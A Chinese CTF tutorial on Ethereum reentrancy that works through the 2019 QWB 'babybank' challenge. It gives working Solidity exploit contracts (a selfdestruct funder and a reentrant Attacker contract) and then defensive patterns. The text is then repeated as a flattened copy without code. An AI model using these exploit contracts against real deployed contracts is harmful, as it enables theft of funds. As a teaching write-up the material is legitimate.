CTF技能宝典之智能合约#重入漏洞
字数 1359 2025-08-22 12:22:48

智能合约重入漏洞详解与CTF实战教学

一、重入漏洞概述

重入漏洞(Reentrancy Attack)是智能合约中最经典且危险的安全漏洞之一。该漏洞源于以太坊智能合约在执行外部调用时,会暂停当前合约的执行并转移控制权给被调用合约。如果攻击者精心构造恶意合约,可以在外部调用完成前重新进入原合约函数,从而绕过状态检查,实现重复提款等攻击。

二、漏洞原理分析

1. 关键问题点

重入漏洞通常出现在以下代码模式中:

function withdraw(uint amount) public {
    require(balance[msg.sender] >= amount);
    msg.sender.call.value(amount)();  // 危险的外部调用
    balance[msg.sender] -= amount;    // 状态更新在调用之后
}

2. 漏洞触发机制

  1. 调用顺序问题:先转账后更新余额
  2. gas传递:使用call.value()会传递所有剩余gas
  3. fallback函数:攻击合约通过fallback函数实现递归调用

3. 与其他转账方式的对比

方法 gas传递 是否触发重入
transfer() 固定2300gas 不易重入
send() 固定2300gas 不易重入
call.value() 传递所有gas 容易重入

三、CTF题目分析(2019强网杯babybank)

1. 题目合约关键函数

pragma solidity ^0.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    // 目标函数
    function payforflag(string md5ofteamtoken, string b64email) public {
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender] = 0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken, b64email);
    }
    
    // 重入漏洞点
    function withdraw(uint256 amount) public {
        require(amount == 2);
        require(amount <= balance[msg.sender]);
        address(msg.sender).call.value(amount * 0x5af3107a4000)();
        balance[msg.sender] -= amount;
    }
    
    // 余额增加函数
    function profit() public {
        require(level[msg.sender] == 0);
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
    
    function guess(uint256 number) public {
        require(number == secret);
        require(level[msg.sender] == 1);
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
}

2. 攻击路径分析

  1. 初始条件准备

    • 合约初始无ETH,需通过自毁合约强制转账
    • 调用profit()使balance=1, level=1
    • 调用guess()使balance=2, level=2(满足withdraw条件)
  2. 重入攻击实施

    • 调用withdraw(2)触发重入
    • 攻击合约fallback函数中再次调用withdraw(2)
    • 循环直至合约余额耗尽
  3. 获取flag

    • 余额达到10000000000后调用payforflag()

四、完整攻击流程

1. 自毁合约注入ETH

pragma solidity ^0.4.24;

contract Abcc {
    function kill() public payable {
        selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
    }
}

操作步骤:

  1. 部署Abcc合约
  2. 调用kill()并附带0.2 ETH

2. 攻击合约编写

pragma solidity ^0.4.24;

interface BabybankInterface {
    function withdraw(uint256 amount) external;
    function profit() external;
    function guess(uint256 number) external;
    function payforflag(string md5ofteamtoken, string b64email) external;
}

contract Attacker {
    BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
    uint private reentrancyGuard = 0;
    
    function exploit() public payable {
        // 1. 初始化条件
        target.profit();
        target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
        
        // 2. 触发重入攻击
        target.withdraw(2);
        
        // 3. 获取flag
        target.payforflag("team_token_md5", "base64_email");
    }
    
    // 重入点
    function() external payable {
        require(reentrancyGuard == 0);
        reentrancyGuard = 1;
        target.withdraw(2);
        reentrancyGuard = 0;
    }
}

3. 攻击步骤

  1. 部署Attacker合约
  2. 调用exploit()函数
    • 自动执行profit()和guess()
    • 触发withdraw()开始重入攻击
    • 最终调用payforflag()获取flag

五、防御措施

1. 检查-生效-交互模式(Checks-Effects-Interactions)

function secureWithdraw(uint amount) public {
    // 检查
    require(balance[msg.sender] >= amount);
    
    // 生效
    balance[msg.sender] -= amount;
    
    // 交互
    msg.sender.transfer(amount);
}

2. 重入锁

bool private locked = false;

function safeWithdraw(uint amount) public {
    require(!locked, "Reentrancy detected");
    require(balance[msg.sender] >= amount);
    
    locked = true;
    msg.sender.transfer(amount);
    balance[msg.sender] -= amount;
    locked = false;
}

3. 使用OpenZeppelin的ReentrancyGuard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureContract is ReentrancyGuard {
    function safeWithdraw(uint amount) public nonReentrant {
        // 安全操作
    }
}

六、CTF解题技巧总结

  1. 逆向分析:当无源码时,使用反编译工具如EtherVM
  2. 条件追踪:分析所有require条件及状态变量
  3. 攻击链构造
    • 初始条件准备
    • 漏洞触发点利用
    • 最终目标达成
  4. 工具使用
    • Remix IDE进行合约交互
    • Etherscan查看交易和事件
    • 调试工具分析执行流程

七、扩展学习

  1. 经典重入攻击案例:The DAO攻击(2016)
  2. 其他变种:
    • 跨函数重入
    • 只读重入
    • ERC777回调攻击
  3. 相关CTF题目:
    • Ethernaut Level 10: Re-entrancy
    • Capture The Ether: Account Takeover

通过本教程,您应该已经掌握了智能合约重入漏洞的原理、利用方法及防御措施。在实际CTF比赛中,重入漏洞常与其他漏洞组合出现,需要综合分析合约逻辑才能构造有效攻击链。

智能合约重入漏洞详解与CTF实战教学 一、重入漏洞概述 重入漏洞(Reentrancy Attack)是智能合约中最经典且危险的安全漏洞之一。该漏洞源于以太坊智能合约在执行外部调用时,会暂停当前合约的执行并转移控制权给被调用合约。如果攻击者精心构造恶意合约,可以在外部调用完成前重新进入原合约函数,从而绕过状态检查,实现重复提款等攻击。 二、漏洞原理分析 1. 关键问题点 重入漏洞通常出现在以下代码模式中: 2. 漏洞触发机制 调用顺序问题 :先转账后更新余额 gas传递 :使用 call.value() 会传递所有剩余gas fallback函数 :攻击合约通过fallback函数实现递归调用 3. 与其他转账方式的对比 | 方法 | gas传递 | 是否触发重入 | |------|---------|-------------| | transfer() | 固定2300gas | 不易重入 | | send() | 固定2300gas | 不易重入 | | call.value() | 传递所有gas | 容易重入 | 三、CTF题目分析(2019强网杯babybank) 1. 题目合约关键函数 2. 攻击路径分析 初始条件准备 : 合约初始无ETH,需通过自毁合约强制转账 调用 profit() 使balance=1, level=1 调用 guess() 使balance=2, level=2(满足withdraw条件) 重入攻击实施 : 调用 withdraw(2) 触发重入 攻击合约fallback函数中再次调用 withdraw(2) 循环直至合约余额耗尽 获取flag : 余额达到10000000000后调用 payforflag() 四、完整攻击流程 1. 自毁合约注入ETH 操作步骤: 部署Abcc合约 调用kill()并附带0.2 ETH 2. 攻击合约编写 3. 攻击步骤 部署Attacker合约 调用exploit()函数 自动执行profit()和guess() 触发withdraw()开始重入攻击 最终调用payforflag()获取flag 五、防御措施 1. 检查-生效-交互模式(Checks-Effects-Interactions) 2. 重入锁 3. 使用OpenZeppelin的ReentrancyGuard 六、CTF解题技巧总结 逆向分析 :当无源码时,使用反编译工具如EtherVM 条件追踪 :分析所有require条件及状态变量 攻击链构造 : 初始条件准备 漏洞触发点利用 最终目标达成 工具使用 : Remix IDE进行合约交互 Etherscan查看交易和事件 调试工具分析执行流程 七、扩展学习 经典重入攻击案例:The DAO攻击(2016) 其他变种: 跨函数重入 只读重入 ERC777回调攻击 相关CTF题目: Ethernaut Level 10: Re-entrancy Capture The Ether: Account Takeover 通过本教程,您应该已经掌握了智能合约重入漏洞的原理、利用方法及防御措施。在实际CTF比赛中,重入漏洞常与其他漏洞组合出现,需要综合分析合约逻辑才能构造有效攻击链。